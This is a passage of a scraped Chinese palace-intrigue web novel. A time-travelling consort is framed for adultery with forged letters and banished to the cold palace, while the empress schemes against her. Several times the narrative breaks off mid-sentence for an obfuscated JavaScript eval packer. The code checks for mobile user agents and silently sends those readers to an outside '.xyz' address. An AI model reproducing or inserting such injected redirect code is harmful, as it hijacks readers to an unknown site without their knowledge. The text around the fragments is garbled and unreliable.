d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14992686|158905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人会觉得她说的是天方夜谭，但只要知识流传下去，就总会有聪明大胆的人来验证书上写的是真是假。 “娘娘？”小宫女不明所以，但看到刘烨离开，她也只好跟上，虽说华嫔娘娘性子好，从不责罚下人，但宫规森严，要是让管事嬷嬷看到她没跟着主子，一会儿又要说她了。 “娘娘，”这边刘烨身边的宫女还没放下心，另一边卢令仪的侍女也不好过，她小心翼翼的捧着一盏热茶递到矮桌上，轻声唤道“娘娘，茶来了，您先别休息，省的您一会儿又该头疼了。” “现在几时了？”卢令仪睁开眼睛，眼里有些不易察觉的疲倦“陛下呢？” “回娘娘，已经申时了。”敬茶的宫女说话很慢，似是在斟酌着字句“陛下在您休息的时候就离开了，离开前陛下还嘱咐了奴婢要好生照看娘娘，莫要让娘娘做些劳心伤神的事。” “走了也好，”卢令仪神色淡淡，脸上挂着嘲讽的笑“这么多天，为了给卢氏一个面子，皇上恐怕已经忍耐到极限了吧？” 爱与不爱真的很明显，更何况皇上都把对她的不耐烦写在脸上了，她又怎么可能看不出来？ “娘娘……” 一旁的宫女不好说什么，只能用担忧的眼神看着卢令仪，实际上，别说皇后娘娘了，就连她们这些宫女都有所察觉。 虽然自从皇后娘娘诞下小皇子以后皇上日日都来，但大多数时候，皇上和娘娘都是不怎么说话的，甚至有时候皇上会特地去书房待着，就连小皇子皇上都没有去看过几次。 “我现在只想好好将我的宸儿养大，”卢令仪摆了摆手，从年少夫妻到相看两生厌，她不是不伤心，只是她身为皇后，又怎可困于儿女情长？“剩下的，只要皇上喜欢，本宫就没什么可说的了。” 皇上登基以后，她在后宫熬了十年才等来了这个孩子，等这个孩子长大至少还需要二十年，她这一辈子，好像一眼就能望到头了。 “值得吗？”一道突兀的女声响起“你之前向我许下了希望得到一个健康男孩的心愿，可当你真的有了这个孩子，你仍旧开心不起来。” 卢令仪被吓了一跳，险些把茶杯打翻，见周围的侍女毫无异样，她才反应过来，应该只有她能看到眠云。 “咳咳，本宫要小憩一会儿，你们先退下吧。”卢令仪咳了两声，让所有人都离开以后才对眠云说道“眠云姑娘，谢谢您的帮助，我记得报酬我已经给您了。” 在生下孩子以后，卢令仪对眠云的恭敬程度又上了一层，毕竟此等手笔非人力能够达成，既然对方是神仙，那恭敬一点儿也没什么问题吧？ “别误会，我不是来找你催债的，我只是过来看看你。”眠云笑了笑，她仔细打量了卢令仪几眼说道“皇后娘娘，您最近过得很累吧？” “……怎么能不累，”卢令仪长叹一声“但我没有后悔的余地。” 45. 第7章 “虽然我一开始是没打算说的，但想想也不差你一个，左不过要多花些时间。”眠云手指轻点在桌面上，却没有发出任何声音“皇后娘娘，虽然你贵为皇后，但你的命并不算好，即使是生下了孩子，你的命仍未改，这样，你也要继续吗？” 人的一生无非是命运二字，命是先天拥有，运是后天发挥，卢令仪先天的命就不好，她虽出身富贵，身具凤命，但这个国家的国运衰落，新的紫薇帝星已经出现，大概再过二十年，就会天下易主改朝换代，身为皇后，卢令仪很难独善其身。 当然了，卢令仪的运比命还差一些，按照运势走向，她根本等不到王朝易主的时候就会死。 不得不说，她是个天生的倒霉鬼，哪怕有眠云，也很将卢令仪救下来。 “有多差？”卢令仪心里骤然一紧“我的宸儿呢？他会怎么样？” “皇后娘娘，这可是另外的价钱。”眠云笑了笑“不过看在你这么倒霉的份上，我可以告诉你，这孩子比你幸运，死里逃生，平安健康。” 这位最有可能继承太子之位的孩子也说不上是幸运还是不幸，他生的不凡，性子却平庸。 但也因为这样的平庸，让他多次躲过战火，甚至在起义军打进皇宫的时候成功脱逃，最后在江南隐姓埋名，过起了普通人家的生活，虽不是大富大贵，却平安长寿。 “平安就好，”卢令仪的眼泪掉了下来，她止不住拍打着这个被寄予厚望的孩子，喃喃自语“平安就好。” 人类还真是奇怪，很多事，预想的时候是这样，可当事情真正发生了的时候，人们反倒变了一幅模样。 卢令仪一开始想要这个孩子，功利心是大过爱的，她希望他能当太子，毕竟她是皇后，生下一个嫡长子名正言顺的继承皇位，这不是很合理吗？ 可等到孩子生下来，卢令仪却丝毫没有之前的野心，孩子聪不聪明，能不能成功当上太子，对她来说已经不重要了，重要的是孩子平安长大，幸福快乐的过完一生。 “你有你的路要走，”眠云起身拍了拍衣袖“即使我劝阻你，恐怕你也不会听我的，我明白，你只是在做你认为对的事。” “多谢姑娘的恩德，”卢令仪将孩子放在一边，郑重其事的跪下“在下感激不尽。” 不管未来怎样，至少她知道了，她的孩子能平安长大。 “其实你的方法没什么本质上的错误，换个其他的世家女当皇后，她应该也会做出和你差不多的选择。”眠云本打算离开，见此场景，不由得叹息一声“可……千人千面，这世界上本就没有统一的规则，皇后娘娘不妨多注意些皇上。” 卢令仪是个标准的世家女皇后，她所做的一切都很符合皇后的规范，把后宫打理的井井有条。 可无论旁人说的再怎么高大上，后宫都只是为皇帝一人服务的后院，如果皇帝循规蹈矩一些还好，但现在的皇帝是个相当有个性，不守规矩的人，皇后越是用规矩压他，他心中越是恼火。 虽说皇上在明面上不会轻易动皇后，可这深宫后宅里面发生了什么，外面从何得知？在后宅中悄无声息病死的女人可是数不胜数。 卢令仪太把皇后这个身份当回事了，皇后只有规劝的义务而没有实权，实际上，皇后、公主、甚至是太后都不过是皇上的附属品，她们过的好不好，最终还是要由皇上还决定。 至于忌惮皇后母家，那也是忌惮卢家的男人，若皇后真的被病逝，卢家有多少可能起兵造反为自己的女儿讨一个公道，又有多少可能当做什么都没发生，再送一个卢家的女儿入宫？ 话说到这个地步，已经是说无可说，人人都有自己的路要走，这不是一句两句话就能改变的，若论功过，只能由后人评说。 * “娘娘，您休息一会儿吧。” 那边卢令仪正忙着养孩子，这边刘烨也没闲着，她正在绞尽脑汁的回想自己学过的知识，可惜她现在不是智力巅峰的高三，而是清澈愚蠢的大学生，能回想起来的东西着实有限。 “我正在思考，”刘烨抓着笔，动作还算标准，她以前学过毛笔字，虽说不至于写的多好看，但也还看的过去“到底有什么知识是我知道，大多数人不知道，还很有用的。” 语文、英语、历史这类科目几乎没什么用，至于数理化，她也不太了解现在的平均水平，要是照本宣科的将知识点写下来，可能千百年都不会有人破解。 她尝试尽量将知识解释成这个时代的人能理解的语言，但显然效果不佳，她向宫女们解释了好几次，结果没有一个宫女能听懂。 “青禾，你帮我找一些书来，”刘烨斟酌着“大概是算学，或者工匠喜欢看的书、医书也行。” “娘娘，您要这些书做什么？”小宫女明显不理解，毕竟在这个时代，这些东西被视为奇技淫巧，是不入流的手段。“不如您多看些诗词歌赋，或者学学琴，画几幅花鸟画也是好的。” “风花雪月固然美好，可我现在做的事更为重要，”刘烨笑着摇摇头“你不懂，我从很远的地方来，或许将那里的知识带到这儿，就是我的使命。” “啊？”小宫女更不理解了，她委婉规劝道“今日陛下要过来用晚膳，娘娘不如想想晚膳要用什么？” “陛下喜欢吃什么就吃什么呗，”刘烨满不在乎的说“放心，陛下心中有数，我只要跟着陛下吃就行。” 她又不是皇帝的妈，还要忧心皇帝吃什么吗？更何况御厨做的菜道道好吃，愣是把她以前不爱吃青菜的毛病给治好了，现在不挑食的她强的可怕。 “可是……”小宫女皱起的眉头，以前她在宫中伺候，那个嫔妃看到皇上来不是变着花样的准备，只有华嫔娘娘万事不理，竟把这种小事也交给皇上操心。 “华嫔说的没错，”皇上直接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14998902|158905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走进来，笑呵呵的说道“朕都这么大年纪了，还整天要旁人约束着吃什么用什么，岂不是负了朕这天下之主的威严？” 这可真是一个美丽的误会，刘烨懒得理皇帝，她自己又不懂这个时代的规矩，而皇帝讨厌处处受限，在刘烨这里，他反而能感觉到放松， “你看，”刘烨耸耸肩“天命难违，既然陛下都这么说了，我自然不必画蛇添足。” 有一说一，她和皇帝还挺能吃到一块儿的，他们两个都是肉食性动物，不爱吃素，而且刘烨发现，皇帝比她还不爱吃青菜，每顿饭能有一两道青菜就不错了。 皇帝哈哈大笑，随即又让人呈上膳食，刘烨这个没吃过多少好东西的普通人自然吃的津津有味，她也没什么食不言寝不语的规矩，就连向来不喜规矩的皇帝，在吃饭时都比她规矩许多。 接下来的日子后宫似乎又恢复成了以前的样子，皇后执掌着后宫，皇上专宠着华嫔，而身为宠妃的刘烨却丝毫没有拉帮结派的意思，只一门心思的完善着自己的科学计划。 “娘娘，华嫔那狐媚子也太过分了！”和刘烨向来不对付的丽嫔愤愤道“陛下一个月进后宫二十次，有十八次都待在她那儿，就连那些有资历的老人都冷落了，这可成何体统！” “陛下自然有陛下的考量。”卢令仪似笑非笑的看了丽嫔一眼，并未揭穿她的小心思。 “娘娘就看着那个狐媚子在后宫横行霸道，把谁都不放在眼里？”丽嫔一计不成又出一计，誓要让华嫔过的不舒坦。 “华嫔向来老实，不爱惹事也很少出宫，”卢令仪这话倒是不做假“我看近些日子，在宫里横行霸道的人反倒是你吧？” 被皇后这么说，丽嫔脸上挂不住，没过多长时间便匆匆离开，她走的时候，正巧与太医院的王太医擦肩而过，不过她也没多想，只当是皇后哪里不舒服，想请王太医看看。 王太医快步走进凤仪宫，在卢令仪耳边轻声说了几句，卢令仪缓缓皱起眉头，挥手示意宫女们都退到殿外伺候。 “华嫔有孕，此事当真？”卢令仪眉头皱了起来，表情严肃的问道。 “这……月份尚浅，老夫也不好确定，”王太医有些犹豫，他擦了擦脸上的汗说道“不过依照老夫的经验，大约有五成可能。” “五成，也不低了。”卢令仪靠在榻上，手上缓缓转动着茶杯“这件事，除了你我还有谁知道？” “回皇后娘娘，这件事只有娘娘和我知道，连陛下都还没来得及说呢。”王太医表情谄媚“这不，小人头一个就告诉娘娘了。” “我看你是怕不准，皇上治你的罪吧？”卢令仪冷笑一声，王太医是卢家的人，可她向来不喜欢这个墙头草，没事时也很少用他“行了，你下去吧，这件事容我好好想想。” “娘娘，”卢令仪从家中带进宫的贴身侍女站出来，用手掌在颈间划了一下“要不要……” 46. 第8章 “先看看，”卢令仪揉了揉眉心“王太医说的话也不一定可靠，毕竟现在月份尚浅，不能确定是真的怀了还是单纯的身体不适。” “娘娘，”一直跟在她身边的宫女劝诫道“奴婢知道娘娘心慈，不忍下手，但那华嫔若真的怀了，陛下难保不会护着那个狐媚子，我看那华嫔也未必是个安分的，若她真生下了男孩，那小皇子就……” 宫女并未说全，但卢令仪知道她接下来要说什么。 皇上登基这么多年，姬妾并不算少，可少有妃嫔能生下孩子，就算生下来的孩子也大多病弱，如果说一开始大家都只当是运气不好，那这些年也足够让众人反应过来，应当是皇上的身体有些问题，子嗣艰难。 皇上共有三女一子，大皇子十二岁，常年病怏怏，拿药当饭吃，在太医院的精心调养下才勉强续命，能不能活到成年都是未知数，在这种情况下，她的宸儿只要能平安长大，就必然会是太子。 可华嫔若怀孕生下男孩，一切就不一样了。 且不说陛下本就宠爱华嫔，哪怕按照现在的形势看，陛下恐怕也会对华嫔的儿子好。 毕竟卢氏在朝廷势大，一个拥有强大母家的太子和一个母家没什么人的太子，对于正值壮年的皇帝来说，哪个更好闭着眼睛都知道。 到时候陛下恐怕会封华嫔的儿子为太子，和她的儿子打擂台，最终鹿死谁手，就很难说了。 “先……探探陛下那边的态度，”卢令仪叹了一口气“如果……” 如果有必要的话，就只能下手了。 * 次日，因华嫔感染了风寒不能侍寝，皇上久违的开始在后宫雨露均沾，就连不太受宠已经许久未见过皇上的一个妃子都难得被传召，丽嫔作为之前的宠妃，还算讨皇上喜欢，在这段时间里，她被召见的次数最多。 “丽嫔近来身子可有不适？”皇上到丽嫔这里的时候，正巧看见王太医在给丽嫔把脉，他随口问道“可是像华嫔一样染了风寒？” “回陛下，可能是最近臣妾贪凉，肠胃不适，有些反胃，”丽嫔柔柔弱弱的开口“近来秋风渐起，陛下也要注意身体。” “后宫众人，还属你贴心。”皇帝心情不错，随口问道“王太医，丽嫔可有什么病症？” “这……”王太医有些欲言又止，眼神躲躲闪闪“回皇上，丽嫔娘娘确实有胃寒之相，不过并不严重，可是……” “可是什么？”皇帝皱起眉头，对说话吞吞吐吐的王太医有些不满“尽管说就是，朕还能治你的罪不成？” “这……微臣斗胆一言，丽嫔娘娘可能有孕，但月份尚浅，微臣也不能确定，不如陛下召其他太医再看一看？”王太医一咬牙说出了这句话，说完话以后，他便颤颤巍巍的站在一边，不肯再说了。 “当真？”皇帝眼睛瞬间亮了，他叫来好几个太医替丽嫔诊断，可惜众太医说法不一，有的说怀了，有的说没怀，总之这么多人就是没能得出一个具体的结论。 “陛下不必太过忧心，”丽嫔主动站出来，姿态温顺的跪在皇帝下首“臣妾或许只是身子不适，若现在看不出来，再过两三个月定是能看出来的。” “爱妃说的也是，”皇帝点头道“有爱妃这般贴心的可人，即使是没有龙嗣，朕也心满意足了。” 接下来的几天，丽嫔有孕的消息虽并未落实，皇上却愈发宠她，连已经痊愈的华嫔都被压了下去，卢令仪时时注意些丽嫔这边的动向，自然知道的一清二楚。 “娘娘，”卢令仪的贴身侍女将其他人遣出去，贴着她耳边说道“再不动手，就来不及了！” 丽嫔之前远远不如华嫔受宠，可在皇上得知她有孕的消息，甚至只是一个似是而非的消息以后，风头却把华嫔压了下去，若是本就受宠的华嫔再怀了孕，那皇上不得把她宠上天？ “以前，”卢令仪嘴角挂着嘲讽的笑“我可没注意到，陛下有这么在乎子嗣。” 卢令仪跟着皇上这么多年，她又不是蠢人，有些事，她怎么会想不到。 卢家势大，当年皇上娶她，就是想借卢家的势，卢家的权势成功助皇上夺了皇位，她也在皇后的位置上站稳了脚，生下了嫡子，皇上却开始坐不住了。 毕竟现在朝堂有卢家，后宫有她，继承人也是她生下的，身具卢家血脉的孩子，如果卢家想要夺权，只需要杀了皇帝，再将具有卢家血脉的孩子扶持上位就行。 在卢令仪没生下孩子以前，皇帝未必在意子嗣，但在她生下一个男孩以后，皇帝急需一个子嗣和她的孩子打擂台，所以这个时候怀孕的，不管是丽嫔还是华嫔，皇上都会万分宠爱。 “务必要赶在皇上知道华嫔怀孕以前，将人除掉，”卢令仪狠下心，即使华嫔从来没有得罪过她，为了自己的孩子，她也不得不这么做“若是皇上发现了，恐怕会对本宫有所防备。” “娘娘英明，”宫女露出了一点儿笑意“正巧丽嫔假孕，皇上的注意力都在那边，现在正是除掉华嫔的最好时机。” 被人计划着除掉的华嫔刘烨还在一心一意的完善她的科学书籍，最让她高兴的是，她多了一个笔友，那个笔友博学多识，告诉了她很多这个时代的事，方便她以更易于理解的语言记录下未来的知识。 “娘娘，”刘烨身边的宫女纠结了很久，终于开口说道“您知不知道，在宫中私通是大罪？” “知道啊，”刘烨头也不抬的回道“你说这个做什么？” 她当然知道私通是大罪，哪怕在现代，出轨也是很不好的行为，更别说在古代给皇帝戴绿帽子了。 “那您……您……唉！”宫女急的直跺脚，她指着刘烨面前的信说道“您这是在做什么？” “什么啊？”刘烨反应过来了，她笑了两声道“你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15007117|158905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是说这个？” “先不说旁的，与我通信的就是之前我们在二皇子百日宴上碰到的那个小孩，他才多大，我怎么可能和他有什么特殊关系？” 刘烨说的理所当然，可她忘了，这里不是现代，她也不是现代那个二十一岁的普通大学生。 刘烨是魂穿，她穿越的这个身体是个刚及笄的少女，原主因落水生了重病，大概率是病死了，才让她这个来自异世界的灵魂占了身体。 刘烨穿过来又调养许久后身体才好了些，她刚想出门透透气，却又被老皇帝看上，带回宫成了妃子，过了这么长时间，她现在的身体也不过才十六岁而已，和十六七岁的少年正好相配。 “娘娘，奴婢知道您行的正坐的端，可……可众口铄金积毁销骨，万一要是让旁人知道了传出去，那可是大罪！”宫女见刘烨还不知道厉害，急的眼泪都快出来了，毕竟像她这样伺候人的奴才，要是刘烨被治罪，她的处境也不会好。 “知道了，知道了，”刘烨刚想写在书的末尾写下一个烨字，却只写了个火，便被宫女打断了，她这个人倒也听劝，点头应道“以后我不再问他关于那些工匠的事就是了。” 有关物理、数学、化学的知识在这个时代并不是主流，对此有研究的人也不多，那个小侍从应当有些学问又出身不算高，所以才会研究这些东西。 “娘娘，您这字怎么写到一半就晕开了？”见刘烨还算听劝，小宫女松了一口气，但因为刚刚的停顿，刘烨笔下没写完的名字出现了一个墨点。 华嫔娘娘有多在乎这本书小宫女是知道的，这么大一个黑点落在这儿，她待会儿不会挨骂吧？ “没事，”刘烨把笔抬起来，稍稍停顿了一下，又在靠后一点儿的位置补上了一个华字“内容我已经写完了，现在只是在署名而已，正好我觉得烨这个字太繁琐，拆成火华两个字倒是刚刚好。” “娘娘倒是脾气好，不计较这些小事。”小宫女笑嘻嘻的和刘烨打趣起来“只是外面的人断没有娘娘这般良善，娘娘这么受宠，引来了不少酸言酸语，那些人还说娘娘是狐狸精转世呢。” “随他们去吧，”刘烨笑了笑“我受宠，定然会挡了旁人的路，就像一个学堂里只能拥有一个第一名，我当可第一，旁人就不能当，若旁人想当第一，就要把原来当第一的人挤下去。” 皇帝的宠爱是有限的，妃子又有那么多，想要得到更好的待遇和更高的地位，就只能靠争抢了。 华音宫内岁月静好，华音宫外却不知从何处传出了流言，说华嫔娘娘嫉妒丽嫔娘娘受宠，自己又耐不住寂寞，私下与侍卫私通。 起初刘烨并未理会，只当是和以往一样的风言风语，来的快去的也快，可她没想到，这谣言愈演愈烈，传的有鼻子有眼，甚至连华音宫的人都能说出华嫔娘娘与侍卫的二三事，这显然不是普通的流言那么简单。 47. 第9章 有人在针对她，并且这个针对她的人来头还不小，至少对方在宫中有些势力。 刘烨揉了揉脑袋，有那么一瞬间，她甚至开始共情起各大宫斗小说中无脑又恶毒，仗着皇帝宠爱肆无忌惮的炮灰妃子。 像她这种没什么出身，又没能力在短时间内建立起人脉的，除了靠皇上还能靠谁？ 炮灰妃子的死亡与是否恶毒或者是否张扬无关，重要的是她们没有自保的能力，一但失去皇帝的宠爱和信任，她们很难有好下场。 “青禾，”刘烨转头看向忧心忡忡的青禾“我记得，宫女分配是由内务府掌管，如果往内务府塞钱的话，想要调动也不是不可能的，对吧？” “嗯，”青禾有些忐忑的点头“的确，毕竟有钱能使鬼推磨，要是有足够的银钱，想要换个地方服侍也不是什么难事。” “那你走吧，我给你拿钱，你不要留在我身边了。”刘烨没什么自保的好方法，流言这种东西，不管是真是假，只要皇上信了，她就小命难保，现在能跑一个是一个，至少别连累太多人因她而丧命。 “娘娘……”青禾眼泪一下子涌了出来，她噙着泪，摇头说道“我不……” “青禾，还记得我曾经说过吗？”刘烨拍了拍青禾的肩膀“若是有一天我们都有危险，不用管我，你只顾好你自己的命，赶紧跑，没有什么比命更重要，你不过是个拿钱办事的宫人，没必要为了所谓的忠诚葬送你自己的性命。” 在刘烨看来，皇宫中的宫女就相当于雇佣来的员工，老板给员工发工资，员工给老板干活，或许这份工作工资确实不低，但没必要让人家连命都搭上。 “对了，还有这个。”刘烨将刚刚写好的册子递给青禾“万一我死了，这本书被当成我的遗物烧掉那我可就白写了。你放心，这里不过是些工匠的法子，没什么要人命的内容，即使被人发现了也没什么。” “你把它带出宫去，交给……就交给那个经常与我通信的侍从吧，你告诉他，里面的方法要有人用才行，敝帚自珍，只会让人越来越狭隘，只有大家都知道，才会有人不断发展探索。” 刘烨想了很多，但最终能说出来的也就这么几句话，她将一些珠宝首饰塞到青禾手里，郑重的说道“你自己用这些东西去打点打点吧，毕竟你进宫早，内务府那种地方你比我熟，至于理由，你只管说我不好就是，反正我很快就要麻烦缠身了，也不差你那一点儿。” “娘娘……”青禾还想说点儿什么，却被刘烨推着离开，刘烨将青禾送走以后仔细回想自己还有什么没做的，能安排的已经被她安排的差不多了。 原主的爹娘在她被接进宫的时候就得了一大笔钱，这些钱他们生活肯定是够用的，更何况除了原主，那老两口还有好几个子女，正常养老应该不成问题。 身边的宫女，严格来说她的贴身宫女只有一个，那就是青禾，其他宫女都只是隶属华音宫的宫女，即使会受牵连也有限。 至于那本书，她本来就是打算传到宫外去的，毕竟仰仗皇帝的宠爱推行科学根本行不通，皇帝宠她是宠她，可正事上她却根本无法插手，论起传播，恐怕外面任意一个自由人都比她强些。 想完这些事，刘烨靠在椅子上，等待着暗处的人出招，流言都已经传播到了这种地步，若说这后面没有人操纵，她断然是不信的。 “华嫔娘娘，” 五天后，皇后宫里的掌事姑姑来到华音宫，她规规矩矩的行了一礼道“皇后娘娘有请。” “……走吧，”刘烨沉默片刻，起身去往凤仪宫“不知皇后娘娘叫我有何要事？” “奴婢不知，”曾经皇后身边的侍女，现在的掌事姑姑不动声色的看了刘烨一眼“皇后娘娘只命奴婢将娘娘带到凤仪宫。” 这华嫔看起来胸有成竹，似乎早就猜到了一样，不知可有什么后手？ 刘烨点头，没有再问，毕竟大家都是个打工的，无论是老板不让说还是真不知道，装聋作哑也是社会常态了。 “臣妾参见皇上、皇后娘娘，给各位姐姐请安。”刘烨行了个虽不标准，但还勉强看的过去的礼，她没有抬头，但这满屋子人的架势哪怕不用看就知道大事不妙。 “华嫔，你可知罪？！”丽嫔率先发难，语气谴责到像是刘烨刚杀完十个八个人一样。 “不知丽嫔娘娘为何如此说？”刘烨心中忐忑，她倒不是心虚，只是她知道，证据这东西，哪怕没有也可以制造“臣妾体弱，常年不出殿门，不知臣妾做了何事，引得娘娘如此恼怒？” “你还敢狡辩！”丽嫔将一叠信丢在了地上“证据在此，你还有什么可说的？” 刘烨打开一封信，信里写了不少缠绵爱语，她笑了笑，语气十分淡然“丽嫔娘娘是觉得，这信都是我写的？无凭无据，只是些字而已，随便找个人就能写，我倒想问问娘娘，到底是何处得来的。” “当然是你宫中的宫女，”丽嫔说的得意“你宫中的宫女看到你与人私通，私下赶来告诉我，并拿了你与那奸夫的罪证，华嫔，你还不快快认罪！” “原来如此，”刘烨点头“那我前些天看见娘娘与一个侍卫私通，也是真的了？” “你血口喷人！”丽嫔顿时急了，她指着刘烨的鼻子骂道“你这个小贱人，自己偷情还要拉我下水，你还有没有点良心？” “我说丽嫔娘娘与侍卫偷情，丽嫔娘娘说我血口喷人，我宫里一个小宫女说我与人私通，丽嫔娘娘就深信不疑了？”刘烨思路清晰，她好歹是名牌大学的学生，怎么也不至于太傻“人言本就不可尽信，若只凭几封不知出自谁手的信和一个不真假的宫女所言，那后宫人人都有可能私通。” “好了，”卢令仪抬手示意丽嫔安静，眼中却闪过一抹诧异，她没想到之前总是不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15015353|158905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说话，沉默待在角落的华嫔如此敏锐，几句话的功夫反倒把丽嫔逼的理亏。“华嫔，本宫自然是不会因为旁人的几句流言就叫你。” 卢令仪拿了一封信，看向刘烨“你既如此有笃定，想必是不怕本宫请人辨别笔迹吧。” “自然，”刘烨点头，心中有些不太好的预感“皇后娘娘请便。” 过了一会儿，一个发须皆白的老者走了进来，他先让刘烨当场写了几个字，又一一与信上的字作对比，半晌之后才说道“这封信，确实是出自这位娘娘之手。” “怎么可能？”刘烨皱眉，将信夺过来，整个人却一下子愣在原地。 “你还有什么可说的？”丽嫔得意洋洋的说道“这位大人可是京城有名的书法大师，你可别说我冤枉了你，这位大师都说了信是你写的，难道还有假不成？” “这位大人，”刘烨咬着牙将手上的信递了过去“请大人帮我看看，我手上的这封信，可也是我所写？” 刚刚皇后递给这位书法大师用于鉴定笔迹的信，的确是她写的，但这些信里，大概只有三分之一的内容是她写的。 陷害她的人非常细心，这一堆信里有真有假，若单看她写的信，自然没有任何暧昧的意思，可对方替她写了一出连续剧，将那些互诉衷肠的言语和她的信交织在一起，她哪怕想辩驳，众人也会因为之前先入为主的印象，觉得这本来很正常的信也暧昧起来。 “娘娘，”书法大师又看了一会儿，把信件交还给刘烨“这封信与刚刚那封信，却实是出自一人之手。” 刘烨闭了闭眼，她大概知道了要对付她的人是谁。 是皇后。 丽嫔只是马前卒，用来扰乱众人的视线，也有试探她，让她在情急之下露出马脚的意思，但丽嫔不算太聪明，很快就被她破了局。 这个时候，皇后上场了，她看似中立的找来了一位颇具名望的书法大师，落实了刘烨的罪证。 哪怕刘烨能求动皇帝换一个人鉴定笔迹，也很难脱罪，毕竟信件是真的假的混在一起，而且私通这种罪，罪名不在证据，而在皇帝心里，如果皇帝心里起了疙瘩，哪怕证据并不足以定罪，皇帝也会给她定罪。 给女人造黄谣，哪怕到处都是监控的现代都没法自证，更别说是古代了。 “臣妾没有做过这种事，还请陛下彻查。”刘烨立刻跪下，她现在唯一的方法，就是赌皇上还信她。 “……华嫔刘氏，”皇上神色沉沉的看着刘烨“不敬皇后，以下犯上，褫夺其嫔位，打入冷宫！” 随着皇上一声令下，立刻有两个侍卫上前把刘烨押下去。 刘烨知道，皇帝其实未必信了那个书法大师的话，只是作为皇帝，他没必要委屈自己认下一个可能给自己戴绿帽子的女人，外面清白的女人那么多，家里这个，哪怕只是旁人泼上去的污水，他也不想要了。 48. 第10章 刘烨坐在冷宫里，身影显得很是寂寥，她倒没有特别伤心，或许是因为这个世界和她的联系太少，很难让她产生什么真情实感吧。 “华嫔，”卢令仪漫步而来，她身后跟着两个手捧托盘的太监“你还有什么想说？” “……嗯，”过了半晌，刘烨才应了一声，她慢吞吞的答道“我在想，我们谁是主角。” “主角？”卢令仪皱皱眉头，她见刘烨神色清明，不像是疯了的样子，又接着问道“你在说什么？” “其实，我不是这个时代的人，”刘烨倒觉得没什么好隐瞒的，毕竟她都要死了，还不能说几句疯话吗？“我来自一千年以后，是偶然才来到这里的。” 冷宫内静悄悄，没人说话，毕竟谁会相信一个冷宫弃妃说的疯话。 “……你就想说这些？”卢令仪其实也是不信的，但她一想到眠云这样的神仙都是真的，那有人来自一千年以后也不足为奇了。 “在我所在的那个年代，有写话本子的人管这种回到过去的行为叫做穿越，”刘烨动了动，她感觉这冷宫的破椅子她多摇两下就要散架子了“这种穿越的人，一般是话本子里的主角，所以我刚穿越的时候，也以为自己是主角。” “那为什么你现在不觉得自己是主角了？”卢令仪虽然不信，但还是顺着刘烨的话说了下去。 “因为我既不是千金小姐，也没有逆天改命的金手指，甚至还是个英专生。”刘烨面无表情的吐槽“这个贼老天，人家开局一条狗好歹有狗，我家穷的八口人就一条狗，要是平分下来的话，我顶多算有八分之一条狗。” “你是在抱怨出身？”卢令仪只挑自己听得懂的答“你这么说，倒也没错，毕竟在这宫里若无家世撑腰，只有皇上的宠爱，是很难风光太久。” 毕竟宠爱稍纵即逝，家世却一直在，若华嫔身后有什么靠山，她这一通简单粗暴的陷害是不可能如此有效。 “是啊，”刘烨倒也没多抱怨，她看着卢令仪说道“后来我又感觉，如果真的把这个世界写成话本子，主角大概是你吧。” “我？”卢令仪愣了一下，她没想到刘烨会这么说“为什么？” “因为很流行啊，”刘烨彻底放弃了那张破椅子，转而坐在旁边的草席上“出身高贵、长的漂亮，没经历过多少波折就成了皇后，简直是人生赢家，现在大家已经不爱看草根逆袭的故事了，毕竟辛辛苦苦逆袭太累，从出生起就在金字塔尖的人生才是大家想要的。” “然后呢？”卢令仪不置可否，她的确像刘烨说的那样，几乎毫不费力就当上了皇后，可皇后这个位置，也不是那么好做的。 “然后啊，我想清楚了。”刘烨笑了笑“这个时代，我不是主角，你也不是，实际上，在一个权力只在男人手中流转的时代，女人不可能是主角。” “为什么不可能？”卢令仪心里有些不舒服，她向来骄傲，也有骄傲的资本，有家世又有能力，为什么不可能成为主角？ “在被贬进冷宫之前，我也是这么想的，”刘烨笑了笑“我虽出身平民，却冠宠一时，放在那些民间故事里，我也称得上是个传奇了。” “可我不是主角，因为没有主角会因为一个浅薄可笑的理由死亡，现在的我是这样，将来的皇后娘娘，也未必逃得过这样的命运。” “华嫔，”卢令仪只觉得更不舒服，她打断了刘烨的话“你就不好奇，我是如何拿到那些信的吗？” 